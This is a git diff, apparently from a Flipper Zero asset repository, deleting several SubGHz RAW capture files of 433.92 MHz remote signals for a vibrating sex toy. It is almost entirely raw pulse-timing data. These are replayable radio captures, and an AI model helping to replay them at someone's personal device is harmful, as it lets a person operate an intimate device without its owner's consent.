-98 1251 -100 917 -132 293 -134 97 -132 3115 -166 897 -100 1147 -132 2391 -66 65 -100 1525 -100 1455 -98 2403 -100 301 -66 1597 -132 991 -64 163 -66 1049 -98 755 -66 887 -66 131 -100 129 -98 99 -266 233 -132 2323 -66 1129 -100 363 -134 1033 -66 133 -100 925 -232 429 -66 1329 -164 955 -66 295 -66 391 -100 827 -64 625 -132 1131 -132 3063 -66 131 -234 793 -132 567 -100 165 -132 65 -134 529 -100 267 -166 233 -100 331 -134 959 -100 467 -102 329 -100 599 -166 165 -66 363 -132 561 -328 297 -66 333 -130 3863 -66 1363 -134 991 -100 199 -132 863 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_3.sub deleted file mode 100644 index 8ae3c4c7c..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_3.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -100 1199 -132 2577 -100 859 -98 1247 381 785 -66 463 -66 1891 -166 393 -98 765 -134 5635 -132 297 -100 1331 -66 99 -134 499 -66 2123 -132 199 -168 333 -66 2577 -200 529 -134 529 -66 297 -166 131 -68 1857 -234 1061 -66 1449 -66 2701 -100 597 -232 1591 -66 1749 -100 1319 -164 915 -66 401 -98 499 -100 265 -134 861 -66 1357 -100 499 -134 965 -100 1229 -100 99 -134 1359 -234 133 -200 2333 -132 1549 -66 393 -100 819 -100 429 -134 1695 -98 661 -100 429 -100 1251 -134 65 -166 825 -100 531 -100 631 -100 1161 -232 65 -134 97 -66 1789 -100 1161 -134 895 -132 795 -66 199 -100 563 -98 3217 -100 795 -100 599 -98 629 -100 1229 -100 963 -66 763 -130 631 -200 1965 -66 1229 -66 1057 -202 531 -66 131 -98 1379 -132 67 -66 529 -234 4009 -98 757 -100 1353 -66 425 -98 227 -66 4075 -132 719 -100 2333 -100 819 -100 953 -66 1429 -68 697 -66 295 -198 1055 -100 1065 -66 1193 -66 99 -68 265 -100 825 -98 261 -66 957 -232 1709 -132 599 -98 663 -66 1327 -100 397 -100 327 -134 499 -100 1785 -132 1497 -100 299 -98 1131 -100 2919 -132 2229 -164 621 -66 523 -98 425 -98 425 -200 431 -100 431 -66 199 -98 233 -98 499 -462 427 -200 265 -100 265 -166 565 -100 2519 -100 893 -66 597 -164 957 -264 195 -66 793 -132 2355 -100 793 -100 467 -166 1993 -66 729 -68 531 -66 865 -66 1557 -168 399 -100 431 -134 931 -66 133 -132 163 -132 165 -168 1427 -66 795 -100 99 -66 629 -66 1191 -100 459 -164 685 -164 161 -98 295 -100 99 -100 235 -134 2983 -66 2057 -66 693 -100 1691 -100 927 -66 1119 -132 233 -100 4715 -66 3327 -100 1227 -166 2873 -66 459 -66 4159 -66 981 -132 3509 -66 65 -66 197 -168 557 -98 459 -168 331 -68 533 -234 627 -130 129 -98 555 -66 667 -232 331 -100 629 -66 1159 -166 1261 -68 1755 -68 1623 -132 825 -230 395 -166 65 -66 3171 -66 465 -66 497 -132 1131 -66 131 -100 2851 -66 763 -66 365 -168 1391 -98 789 -66 165 -68 563 -66 535 -66 597 -132 1227 -100 3517 -66 1787 -66 365 -66 727 -100 1927 -66 699 -198 2823 -100 365 -98 797 -132 759 -66 131 -66 197 -100 1185 -98 3389 -100 457 -98 97 -66 6729 -134 3653 -68 3005 -100 429 -66 2315 -66 397 -66 567 -100 565 -66 261 -100 625 -366 165 -166 99 -102 463 -68 1127 -100 431 -134 1861 -132 299 -102 233 -134 1023 -132 1381 -164 295 -64 131 -130 2211 -66 1689 -196 1157 -134 695 -100 4209 -230 331 -130 791 -100 1855 -68 563 -100 2061 -98 3789 -RAW_Data: -132 887 -98 2663 -66 263 -100 793 -66 4547 -66 6753 -894 377 -878 373 -882 387 -892 383 -878 399 -862 415 -848 403 -884 1673 -448 385 -450 403 -428 407 -418 413 -456 399 -438 417 -448 385 -444 407 -876 397 -426 407 -448 411 -880 381 -450 409 -434 385 -446 417 -854 427 -440 385 -880 399 -434 419 -844 407 -454 387 -876 411 -418 395 -870 417 -420 415 -862 411 -846 423 -840 413 -864 411 -846 415 -864 411 -842 427 -836 415 -886 387 -872 1693 -424 411 -444 383 -450 391 -450 405 -426 441 -414 421 -430 415 -412 425 -842 447 -418 397 -438 417 -848 417 -860 409 -416 417 -420 441 -836 419 -848 437 -846 383 -440 411 -842 429 -422 443 -844 435 -386 445 -846 403 -424 409 -876 399 -846 415 -854 425 -840 415 -840 437 -838 425 -854 409 -840 423 -840 413 -878 1665 -452 403 -396 435 -448 417 -424 399 -432 417 -448 387 -450 409 -426 407 -844 427 -424 443 -382 451 -852 411 -846 421 -414 411 -424 441 -844 399 -854 413 -856 395 -434 417 -882 401 -428 417 -846 409 -440 417 -848 407 -456 417 -844 409 -862 417 -848 401 -884 423 -850 419 -846 409 -846 415 -842 429 -852 415 -852 1679 -424 411 -446 385 -448 433 -414 413 -424 411 -448 411 -422 421 -442 383 -884 415 -442 387 -444 417 -836 441 -848 411 -418 423 -442 383 -870 409 -840 439 -866 419 -412 413 -848 447 -382 437 -870 419 -414 419 -820 443 -416 417 -846 441 -844 423 -818 451 -848 419 -820 441 -844 425 -818 451 -848 413 -842 415 -844 1709 -410 437 -418 419 -414 409 -438 413 -452 387 -452 441 -388 443 -414 413 -850 417 -416 445 -414 409 -840 447 -850 449 -382 451 -392 441 -838 419 -848 445 -844 417 -410 445 -842 403 -424 447 -840 433 -388 449 -844 433 -388 445 -842 403 -848 451 -820 421 -840 449 -846 415 -842 427 -856 411 -836 409 -846 447 -844 1701 -418 405 -426 445 -382 451 -422 409 -412 415 -452 423 -410 447 -382 453 -814 441 -386 449 -416 439 -840 423 -846 433 -388 447 -382 445 -848 417 -844 429 -854 411 -420 431 -820 441 -422 427 -834 443 -408 445 -806 431 -426 445 -111826 65 -100 99 -232 99 -1064 165 -592 97 -100 163 -162 97 -100 99 -164 263 -130 195 -132 161 -98 983 -100 631 -100 297 -68 1063 -66 2155 -100 99 -66 3285 -66 1993 -134 463 -132 1725 -166 859 -100 299 -66 197 -66 293 -66 295 -66 893 -366 999 -132 1059 -332 165 -98 367 -66 431 -98 1491 -68 1859 -100 297 -164 533 -102 1427 -66 229 -100 1889 -66 265 -100 963 -166 299 -RAW_Data: -100 231 -100 765 -66 2079 -66 9011 -66 1245 -100 631 -164 363 -66 361 -98 129 -66 1853 -66 1837 -164 429 -100 3977 -132 1027 -100 9507 -98 789 -100 333 -66 2537 -66 1423 -98 827 -98 1289 -66 1057 -132 1531 -98 12989 -66 2841 -66 6967 -66 3183 -66 4895 -66 265 -68 429 -132 229 -98 661 -100 1561 -100 831 -100 263 -102 333 -100 361 -132 863 -132 1063 -66 99 -130 923 -66 429 -66 427 -66 3665 -66 797 -132 635 -266 1063 -98 1363 -100 2549 -66 229 -66 1453 -66 133 -66 365 -100 2283 -98 161 -164 4751 -168 165 -66 535 -164 835 -66 1329 -68 1625 -66 529 -66 2117 -130 1051 -66 461 -266 495 -68 4537 -132 299 -68 1025 -166 863 -66 329 -234 131 -68 759 -168 731 -100 1131 -132 501 -132 1495 -166 791 -100 3747 -330 1425 -100 1229 -66 401 -98 1191 -100 695 -96 195 -98 1941 -132 1375 -66 1153 -132 199 -66 193 -66 389 -64 495 -100 723 -130 3037 -100 1887 -166 199 -166 701 -300 197 -66 331 -132 423 -100 951 -166 197 -164 261 -164 295 -162 491 -100 229 -98 297 -100 1855 -66 597 -66 233 -132 1061 -296 331 -100 99 -66 165 -132 99 -166 165 -100 1527 -102 1065 -66 233 -100 1357 -100 731 -64 363 -66 2087 -68 431 -68 1991 -100 993 -238 231 -66 131 -134 531 -66 399 -66 297 -166 463 -100 165 -66 3849 -234 1595 -166 2055 -66 663 -66 1625 -66 1261 -98 997 -66 1487 -100 2263 -132 853 -98 1545 -66 1677 -100 661 -132 1393 -66 365 -132 1955 -166 1819 -134 1887 -98 163 -98 1187 -164 1585 -66 567 -68 461 -132 461 -100 2759 -100 2043 -98 463 -66 1753 -100 131 -234 797 -164 1249 -100 563 -100 435 -68 2219 -100 497 -166 2179 -66 333 -134 233 -98 265 -100 297 -66 429 -66 1463 -100 327 -166 3781 -100 1089 -362 99 -98 595 -98 231 -164 855 -134 2029 -166 1163 -66 197 -66 1649 -66 195 -66 789 -100 331 -68 595 -132 691 -296 1313 -166 99 -98 1087 -66 1811 -100 693 -66 199 -100 133 -134 199 -98 2779 -66 195 -66 2959 -98 525 -66 455 -66 1445 -68 4837 -100 165 -98 3415 -66 1531 -132 467 -134 199 -100 963 -100 1325 -68 133 -66 1459 -100 263 -132 1591 -68 795 -134 1411 -100 3917 -132 927 -232 297 -100 231 -100 865 -100 1261 -200 1325 -100 97 -68 1291 -298 1991 -166 627 -232 693 -98 427 -98 99 -66 163 -132 261 -66 559 -132 327 -164 97 -98 197 -66 555 -98 1853 -134 1427 -68 561 -66 1949 -100 1195 -98 195 -66 389 -66 2323 -166 1101 -164 959 -68 265 -98 2631 -132 525 -130 557 -66 1371 -66 457 -RAW_Data: -132 657 -232 1759 -66 165 -100 1189 -66 1149 -66 959 -200 533 -100 99 -100 3567 -164 793 -134 6131 -68 755 -100 827 -66 3703 -66 1757 -100 631 -132 1159 -130 557 -66 723 -98 493 -98 921 -100 2259 -100 9333 -66 4809 -98 11439 -64 1937 -66 629 -66 5703 -66 829 -64 4147 -134 265 -66 5021 -66 3313 -66 1195 -132 791 -132 195 -66 427 -196 1609 -66 1453 -98 333 -166 1359 -100 463 -100 1789 -98 229 -66 1455 -100 763 -66 1355 -134 399 -266 2443 -98 457 -66 6839 -66 893 -98 1687 -100 1197 -100 1293 -66 1229 -166 1123 -200 293 -66 227 -98 2113 -98 789 -98 1345 -66 2315 -100 1195 -100 433 -298 265 -100 199 -264 231 -198 1087 -132 693 -66 1671 -232 97 -132 297 -264 429 -232 3419 -66 2765 -66 661 -68 1493 -134 863 -132 1223 -100 1257 -132 133 -66 465 -66 2007 -98 1329 -66 3187 -66 1263 -100 391 -98 1215 -198 525 -98 585 -98 821 -66 229 -68 231 -366 1649 -66 557 -66 265 -66 667 -164 797 -100 363 -66 131 -166 233 -66 7063 -166 129 -68 2925 -100 999 -164 831 -66 2221 -100 929 -66 397 -100 663 -64 229 -66 427 -200 199 -66 131 -100 99 -66 563 -66 2423 -132 959 -100 397 -164 2243 -130 4423 -164 791 -66 163 -198 891 -66 533 -66 1593 -100 397 -98 4325 -66 1113 -66 655 -98 3381 -66 493 -66 425 -66 459 -166 559 -100 161 -66 955 -230 1263 -100 1313 -66 1627 -200 97 -166 65 -64 425 -66 197 -66 849 -98 163 -262 1153 -132 265 -100 729 -66 427 -132 163 -164 2939 -98 533 -168 829 -100 427 -98 427 -66 525 -100 2287 -66 199 -66 165 -100 3019 -66 129 -100 229 -66 463 -198 99 -100 461 -200 1941 -200 299 -98 231 -66 825 -100 433 -100 399 -132 233 -166 561 -66 1389 -68 397 -134 863 -98 1753 -98 951 -98 1085 -66 2615 -100 131 -100 163 -98 67 -98 1747 -66 1115 -98 527 -100 65 -132 65 -100 165 -100 263 -268 231 -100 3729 -130 131 -166 885 -98 163 -98 787 -132 1477 -132 623 -100 265 -68 3243 -68 97 -100 499 -100 925 -134 1021 -68 1165 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_4.sub deleted file mode 100644 index da4f06a59..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_01_4.sub +++ /dev/null @@ -1,10 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 4105 -66 393 -66 1745 -98 1643 -98 755 -66 1521 686 4029 -100 595 -134 827 -134 2907 -100 133 -132 433 -134 997 -66 1659 -198 1391 -66 4229 -100 333 -134 1789 -198 1261 -100 365 -132 165 -134 3357 -166 163 -164 719 -98 365 -132 733 -68 597 -66 591 -100 655 -98 361 -98 363 -100 295 -66 367 -130 167 -134 4259 -66 5311 -100 1821 -100 195 -66 1315 -66 1561 -100 299 -332 761 -132 1327 -164 297 -66 699 -132 629 -98 427 -98 1937 -64 2321 -100 165 -202 431 -134 633 -98 99 -100 4183 -100 1359 -164 863 -66 601 -66 2205 -100 1959 -66 299 -100 1357 -134 797 -68 431 -132 2703 -100 1255 -166 133 -168 1261 -100 433 -66 229 -66 459 -64 1413 -64 4235 -66 465 -132 695 -134 369 -100 461 -134 2321 -134 1563 -100 929 -66 629 -100 1693 -100 201 -66 2555 -100 1427 -66 1325 -98 1839 -168 795 -66 65 -132 463 -102 1129 -132 727 -132 397 -66 2447 -232 197 -132 431 -98 2225 -166 625 -98 1761 -100 729 -100 2489 -100 1611 -132 327 -66 855 -196 3125 -100 393 -100 623 -66 1117 -66 97 -66 1675 -132 261 -394 659 -130 327 -330 2813 -100 233 -134 697 -100 265 -134 1317 -100 99 -100 1955 -430 133 -132 99 -132 435 -132 665 -164 267 -100 133 -132 397 -66 797 -98 331 -134 1289 -134 1157 -134 265 -100 535 -132 435 -68 131 -66 1167 -68 331 -98 1429 -134 165 -66 133 -66 997 -66 993 -430 793 -66 195 -68 231 -100 1661 -98 331 -100 1729 -98 929 -100 265 -100 2353 -132 6023 -100 657 -66 889 -98 195 -98 859 -66 329 -66 4051 -98 3327 -66 2197 -68 595 -166 893 -134 887 -66 591 -66 1489 -66 4457 -132 65 -68 65 -134 99 -98 925 -98 391 -134 825 -130 457 -66 297 -66 167 -132 791 -66 199 -230 1117 -100 131 -132 229 -100 559 -66 165 -262 623 -66 529 -100 333 -100 495 -100 2243 -230 495 -66 757 -66 821 -66 393 -132 1347 -66 627 -98 821 -100 527 -66 2545 -196 2867 -134 397 -132 2421 -100 6359 -164 2811 -66 493 -64 595 -100 695 -98 131 -66 1883 -66 163 -132 131 -230 1657 -164 493 -66 425 -66 3397 -98 1249 -98 259 -166 691 -198 163 -164 65 -132 919 -98 1851 -100 1389 -130 2221 -134 133 -100 435 -68 859 -102 199 -166 1061 -164 525 -132 195 -100 393 -196 393 -66 131 -98 593 -98 2583 -98 1955 -98 725 -66 989 -296 197 -68 893 -66 2359 -134 2057 -98 659 -230 5509 -100 1363 -166 895 -166 633 -66 99 -166 1553 -66 197 -100 2227 -132 293 -64 199 -66 199 -98 887 -66 3367 -100 297 -134 397 -68 299 -66 -RAW_Data: 267 -100 131 -100 1267 -100 2261 -100 569 -66 15475 -100 1281 -130 427 -164 1149 -164 885 -100 1317 -166 5959 -66 4153 -66 4421 -130 3899 -98 1679 -166 131 -228 1285 -98 1713 -98 1485 -132 1325 -66 995 -164 101 -66 3823 -66 3275 -66 5621 -100 1229 -100 627 -98 787 -132 491 -134 855 -166 329 -196 11975 -164 927 -66 889 -66 2199 -66 2633 -98 163 -100 565 -132 761 -132 1229 -100 361 -130 229 -66 593 -66 729 -66 1891 -98 1593 -66 2329 -66 885 -132 2437 -66 753 -98 919 -132 397 -100 329 -66 5733 -100 1293 -134 399 -100 2039 -264 97 -166 2149 -66 657 -100 1281 -132 723 -64 859 -198 1609 -66 1911 -134 529 -66 131 -262 263 -98 325 -230 723 -98 853 -66 623 -100 1461 -66 3977 -66 1721 -68 1287 -98 101 -132 2361 -68 663 -66 331 -100 2587 -68 2517 -66 97 -100 793 -134 561 -166 467 -102 695 -166 231 -132 863 -100 3213 -68 1195 -102 165 -200 963 -64 1011 -880 409 -848 387 -862 417 -838 441 -842 417 -848 433 -850 423 -854 1665 -450 413 -444 393 -426 409 -448 409 -434 419 -448 383 -450 405 -428 409 -842 427 -424 441 -384 449 -852 411 -844 427 -428 409 -448 417 -850 409 -846 425 -854 413 -444 393 -852 415 -450 401 -852 415 -444 393 -852 415 -440 393 -882 385 -882 387 -876 411 -850 411 -846 427 -852 413 -852 397 -870 417 -848 433 -846 1669 -416 419 -450 407 -424 409 -448 417 -428 413 -444 387 -444 385 -448 431 -852 387 -446 417 -852 395 -468 383 -450 425 -414 409 -882 383 -444 407 -418 411 -878 409 -418 443 -854 413 -416 443 -850 411 -418 411 -878 413 -418 413 -852 439 -844 387 -886 389 -872 407 -848 411 -842 429 -852 411 -854 425 -840 417 -850 1697 -450 401 -430 407 -442 409 -428 379 -446 413 -440 429 -412 413 -446 409 -876 379 -446 411 -870 409 -434 411 -446 419 -430 407 -844 423 -426 405 -414 443 -846 411 -412 411 -876 409 -412 445 -848 411 -412 411 -876 405 -412 445 -846 407 -874 395 -852 415 -840 423 -840 449 -852 409 -848 385 -884 387 -874 409 -850 1669 -450 401 -426 441 -412 409 -458 387 -444 383 -444 423 -444 415 -416 409 -864 417 -418 411 -870 417 -418 451 -402 427 -410 415 -882 415 -406 421 -442 415 -870 389 -444 415 -852 399 -436 417 -846 407 -456 389 -872 407 -436 417 -842 439 -840 419 -846 437 -844 421 -852 417 -848 421 -854 413 -846 419 -824 413 -872 1697 -432 387 -446 415 -418 433 -424 443 -382 445 -422 425 -412 415 -452 421 -820 421 -444 413 -830 441 -422 421 -408 449 -412 -RAW_Data: 407 -866 419 -416 411 -424 441 -848 409 -418 423 -874 407 -434 417 -846 413 -418 411 -844 447 -414 415 -844 451 -842 399 -852 415 -868 415 -850 409 -850 449 -810 429 -852 413 -864 411 -864 1693 -416 415 -420 415 -408 441 -416 449 -380 439 -414 445 -424 423 -418 443 -816 413 -410 461 -812 449 -416 415 -424 445 -384 451 -818 445 -416 447 -382 441 -844 421 -418 437 -858 419 -414 409 -852 449 -382 453 -852 411 -418 419 -102310 65 -68 97 -1876 197 -360 97 -132 97 -826 259 -228 1227 -132 1711 -68 795 -164 789 -134 331 -68 265 -68 367 -66 2059 -100 1291 -64 3715 -66 297 -100 729 -66 495 -100 529 -198 657 -98 261 -130 65 -98 131 -98 427 -64 165 -164 593 -98 1275 -66 261 -64 2339 -164 1859 -100 365 -98 901 -200 227 -66 199 -100 267 -66 363 -98 1523 -66 1959 -68 163 -230 1263 -100 697 -100 1185 -132 463 -134 795 -134 797 -66 533 -68 1089 -98 65 -66 329 -164 65 -98 463 -98 963 -66 265 -66 931 -132 531 -302 199 -66 433 -66 363 -66 199 -132 199 -134 297 -66 729 -66 3207 -64 621 -66 823 -66 327 -100 1159 -100 855 -66 461 -132 129 -164 559 -98 293 -66 757 -64 1153 -66 1447 -66 295 -164 2833 -100 1587 -66 2421 -294 527 -98 461 -164 131 -66 397 -100 663 -66 331 -166 2753 -102 99 -134 231 -66 897 -100 2225 -66 1159 -100 427 -66 661 -100 133 -100 2015 -198 853 -66 2511 -100 1491 -100 757 -166 229 -198 265 -68 1051 -98 1555 -166 99 -66 863 -100 2195 -132 2923 -100 557 -198 755 -100 691 -100 2291 -66 165 -130 263 -66 197 -132 559 -66 1857 -66 1161 -134 1097 -100 719 -64 327 -100 1149 -66 1351 -134 265 -136 199 -100 201 -336 163 -362 523 -132 555 -166 131 -100 1793 -68 233 -166 495 -66 1753 -200 269 -66 729 -98 661 -134 595 -132 499 -134 1021 -164 723 -66 1685 -132 133 -66 3533 -66 1249 -64 395 -264 531 -100 465 -100 467 -66 1459 -100 429 -66 331 -100 265 -134 401 -134 627 -66 165 -234 363 -98 919 -198 1961 -132 2191 -66 3403 -66 1055 -66 393 -130 163 -164 529 -166 599 -66 1061 -132 363 -64 1027 -66 629 -66 793 -262 1055 -66 859 -100 663 -132 495 -100 6897 -98 133 -132 529 -66 3015 -66 1325 -100 2649 -98 1227 -66 2839 -130 853 -134 731 -66 167 -170 367 -68 697 -98 65 -132 99 -100 429 -66 887 -66 1445 -98 195 -98 131 -164 395 -130 361 -132 591 -198 263 -66 231 -100 767 -66 431 -66 597 -68 1223 -100 261 -364 65 -298 3047 -98 299 -100 565 -166 -RAW_Data: 233 -134 2153 -100 5005 -198 729 -66 629 -66 435 -132 1393 -98 495 -132 4059 -66 1635 -98 789 -230 131 -64 1447 -100 987 -100 1391 -166 3277 -166 1775 -98 1115 -100 1867 -66 293 -132 1415 -98 1719 -232 4699 -100 1657 -164 2119 -66 2157 -100 2651 -66 3271 -134 4259 -132 2723 -134 2851 -68 231 -66 231 -66 365 -166 1061 -100 731 -100 233 -100 597 -100 295 -66 1213 -198 3319 -132 4115 -64 6467 -100 2549 -100 1095 -68 1821 -132 65 -132 2807 -66 229 -132 1113 -164 1197 -98 431 -134 65 -68 3673 -98 1655 -68 725 -66 2213 -132 953 -66 229 -100 1511 -100 2123 -100 299 -100 2055 -66 1627 -132 997 -100 133 -66 993 -200 529 -66 561 -66 1297 -100 2457 -100 1149 -132 1057 -100 7489 -66 1063 -100 301 -166 1763 -164 787 -68 829 -132 1323 -66 657 -66 757 -164 99 -132 597 -66 365 -98 729 -66 3081 -100 831 -100 333 -66 2155 -66 1695 -134 725 -66 2055 -132 1021 -66 1155 -98 3877 -64 4937 -68 693 -66 395 -164 721 -66 65 -262 197 -230 195 -100 887 -66 855 -130 1391 -66 2709 -166 2463 -66 861 -66 931 -98 1563 -166 657 -98 993 -98 165 -66 197 -66 167 -198 1057 -270 1791 -134 2277 -66 1215 -66 261 -98 525 -198 1807 -100 1217 -132 659 -21114 65 -296 595 -100 97 -100 395 -232 99 -132 297 -66 199 -166 1093 -100 2077 -100 4059 -130 229 -98 361 -98 3123 -166 531 -268 99 -132 801 -98 401 -66 1387 -132 793 -100 999 -102 131 -100 499 -132 229 -66 1181 -164 493 -98 2615 -130 623 -132 629 -66 831 -100 199 -98 233 -66 501 -66 461 -100 1527 -100 2525 -100 795 -66 461 -98 533 -132 397 -68 923 -100 1683 -98 129 -100 951 -132 193 -98 331 -130 163 -132 1409 -66 989 -100 231 -98 4671 -66 263 -66 4179 -132 687 -98 1675 -66 4689 -164 527 -132 263 -64 863 -366 167 -132 333 -100 231 -100 497 -98 367 -98 365 -232 3719 -98 131 -132 563 -68 97 -100 499 -134 65 -100 297 -100 197 -134 697 -66 463 -66 895 -66 165 -68 533 -66 955 -66 323 -100 1055 -66 1771 -132 5665 -100 99 -166 5443 -164 3023 -132 2355 -102 1867 -66 601 -136 495 -166 129 -196 295 -166 297 -100 1163 -66 2607 -66 1583 -166 1093 -196 989 -100 1077 -98 261 -196 195 -98 759 -98 391 -98 65 -100 753 -66 591 -100 129 -66 1219 -66 267 -234 265 -66 167 -66 1295 -100 4555 -66 593 -64 921 -132 2239 -196 1131 -134 495 -66 365 -66 299 -66 301 -66 897 -266 495 -98 429 -132 331 -98 163 -66 951 -164 527 -96 1215 -66 425 -100 3159 -66 359 -100 -RAW_Data: 2691 -100 497 -102 1693 -66 1067 -132 5137 -66 7147 -98 595 -66 1345 -64 131 -66 521 -132 531 -66 233 -166 65 -68 2055 -134 729 -100 891 -66 1797 -66 9485 -100 365 -166 431 -66 797 -100 531 -66 197 -98 365 -166 567 -68 1949 -132 1841 -100 721 -132 2615 -64 197 -66 1739 -66 787 -66 8247 -200 7137 -68 8865 -98 2149 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_1.sub deleted file mode 100644 index 03367479d..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_02_1.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5239 -98 197 4393 2887 -66 697 -100 1159 -100 925 -66 1589 -98 333 -134 1685 -132 3985 -66 985 -98 365 -102 399 -66 729 -100 297 -66 3599 -66 887 -196 297 -66 131 -98 755 -100 363 -100 299 -100 461 -68 1955 -134 1891 -66 3921 -200 897 -66 1117 -98 3575 -66 789 -132 523 -200 689 -330 325 -134 1489 -134 231 -66 2321 -100 597 -68 831 -164 65 -68 297 -98 629 -134 1193 -132 1591 -68 1065 -198 593 -264 2405 -300 629 -130 1545 -98 1885 -98 793 -66 1095 -100 861 -132 1725 -64 1521 -132 463 -100 2853 -64 3661 -66 4561 -130 295 -164 65 -66 931 -66 231 -134 1927 -68 535 -132 723 -66 235 -66 955 -132 463 -132 1427 -98 597 -230 1283 -66 293 -164 823 -134 965 -66 463 -164 559 -98 4145 -68 697 -66 919 -66 3309 -134 3327 -100 1813 -66 5791 -100 697 -68 561 -68 165 -66 733 -66 395 -66 229 -98 129 -100 329 -132 887 -132 657 -100 629 -100 299 -132 2351 -66 859 -100 497 -130 901 -98 297 -198 1027 -68 2687 -66 367 -100 231 -132 893 -66 99 -66 1231 -166 431 -100 763 -66 1157 -100 297 -132 599 -66 1751 -66 687 -232 295 -66 459 -132 721 -98 261 -66 917 -66 2259 -132 201 -68 4739 -66 265 -100 963 -98 3115 -102 299 -66 1591 -132 101 -66 959 -66 1343 -230 2599 -100 63 -66 263 -98 917 -66 1513 -164 819 -132 457 -98 297 -168 599 -66 429 -66 1389 -134 5389 -68 2357 -68 2547 -100 761 -100 99 -98 865 -68 367 -100 4419 -132 1643 -98 495 -232 431 -134 791 -100 1551 -66 3331 -64 195 -66 357 -100 163 -132 261 -66 621 -132 399 -134 365 -132 4277 -66 231 -134 563 -66 165 -134 1717 -98 427 -130 197 -66 2171 -66 329 -66 1913 -100 3355 -66 725 -66 2389 -132 657 -100 1119 -98 163 -66 363 -64 985 -66 2531 -100 1727 -100 595 -66 499 -68 531 -166 1481 -68 1185 -66 427 -66 2599 -102 1029 -100 301 -100 431 -100 2059 -66 365 -166 1623 -164 463 -200 333 -66 197 -66 299 -132 1161 -98 1809 -66 1573 -98 225 -132 391 -132 591 -132 299 -100 3917 -166 399 -100 2571 -98 1095 -364 231 -98 1769 -66 1097 -100 3545 -98 553 -100 1027 -132 799 -66 661 -98 201 -132 329 -100 2309 -98 65 -68 65 -134 431 -66 1345 -296 295 -100 953 -132 3051 -98 429 -166 2461 -66 1055 -66 1923 -100 331 -132 97 -66 359 -66 261 -130 133 -66 625 -130 99 -64 1317 -102 563 -330 727 -100 427 -134 131 -100 1891 -66 765 -98 3723 -66 1711 -98 855 -66 393 -64 363 -132 1117 -66 1943 -68 399 -68 265 -66 961 -102 -RAW_Data: 1529 -68 231 -66 395 -134 893 -132 1157 -66 1225 -100 467 -98 1493 -100 929 -134 131 -134 1025 -100 863 -100 1659 -66 357 -66 4361 -100 3089 -66 229 -264 1051 -100 195 -132 489 -66 163 -130 425 -98 229 -98 4613 -100 1091 -100 4939 -166 595 -98 885 -166 795 -164 1523 -100 1855 -200 10927 -66 2371 -66 2607 -66 863 -100 97 -68 827 -168 133 -66 5279 -164 5983 -66 165 -68 1865 -68 931 -134 165 -134 701 -66 3053 -134 2119 -134 65 -164 393 -132 229 -66 67 -100 3377 -100 293 -98 889 -164 365 -168 497 -132 867 -100 1161 -98 399 -100 99 -198 395 -98 99 -100 331 -68 99 -132 231 -98 689 -100 459 -264 391 -164 329 -66 1779 -98 265 -66 595 -66 1151 -850 387 -876 405 -886 379 -878 393 -870 387 -882 387 -872 411 -864 1703 -418 413 -416 417 -436 413 -448 389 -444 415 -416 429 -428 405 -416 445 -848 413 -416 443 -420 411 -446 413 -838 411 -450 389 -450 407 -426 409 -876 403 -850 415 -450 407 -850 415 -442 407 -848 425 -414 411 -882 385 -450 403 -854 417 -852 427 -874 383 -850 439 -848 423 -852 413 -838 415 -882 413 -838 413 -876 1685 -420 429 -416 411 -424 445 -412 411 -420 423 -446 415 -410 435 -846 427 -396 439 -448 407 -440 417 -416 417 -868 411 -442 409 -418 449 -388 441 -840 419 -846 437 -388 445 -848 439 -388 447 -844 435 -420 417 -846 437 -388 445 -844 439 -814 417 -854 421 -838 449 -846 415 -842 425 -834 449 -820 421 -838 455 -818 1703 -408 453 -378 447 -416 441 -410 413 -446 421 -428 409 -416 447 -840 413 -416 451 -384 441 -410 415 -446 415 -834 415 -454 405 -426 411 -416 445 -850 415 -842 425 -424 443 -810 431 -424 411 -844 427 -410 447 -844 407 -422 447 -842 431 -848 385 -888 387 -874 411 -850 413 -844 427 -850 413 -852 411 -876 411 -848 1703 -396 435 -416 451 -388 439 -410 415 -446 423 -396 433 -416 439 -830 453 -414 419 -430 427 -408 415 -414 445 -836 449 -416 411 -428 443 -380 445 -850 415 -844 423 -428 407 -842 429 -426 411 -846 425 -410 447 -844 437 -416 417 -844 439 -812 451 -852 385 -874 407 -864 419 -842 433 -844 419 -836 413 -854 449 -846 1677 -426 405 -442 409 -434 409 -446 383 -436 433 -412 413 -446 411 -836 447 -416 411 -444 411 -408 435 -412 445 -846 409 -410 445 -422 427 -408 415 -874 399 -862 383 -450 419 -822 439 -418 417 -846 439 -418 415 -846 439 -418 415 -846 433 -848 383 -852 423 -876 419 -856 411 -846 423 -852 411 -854 399 -864 417 -846 1689 -410 -RAW_Data: 423 -428 411 -448 413 -422 411 -448 413 -412 455 -418 411 -876 411 -416 413 -446 411 -446 411 -420 431 -850 419 -416 415 -442 407 -416 417 -848 443 -846 419 -416 409 -846 417 -452 405 -856 411 -444 393 -850 415 -442 441 -116554 97 -134 65 -234 197 -134 131 -132 99 -100 463 -198 2099 -100 3841 -66 1185 -66 957 -132 133 -68 1889 -166 1291 -198 2777 -132 265 -68 131 -100 395 -100 1493 -100 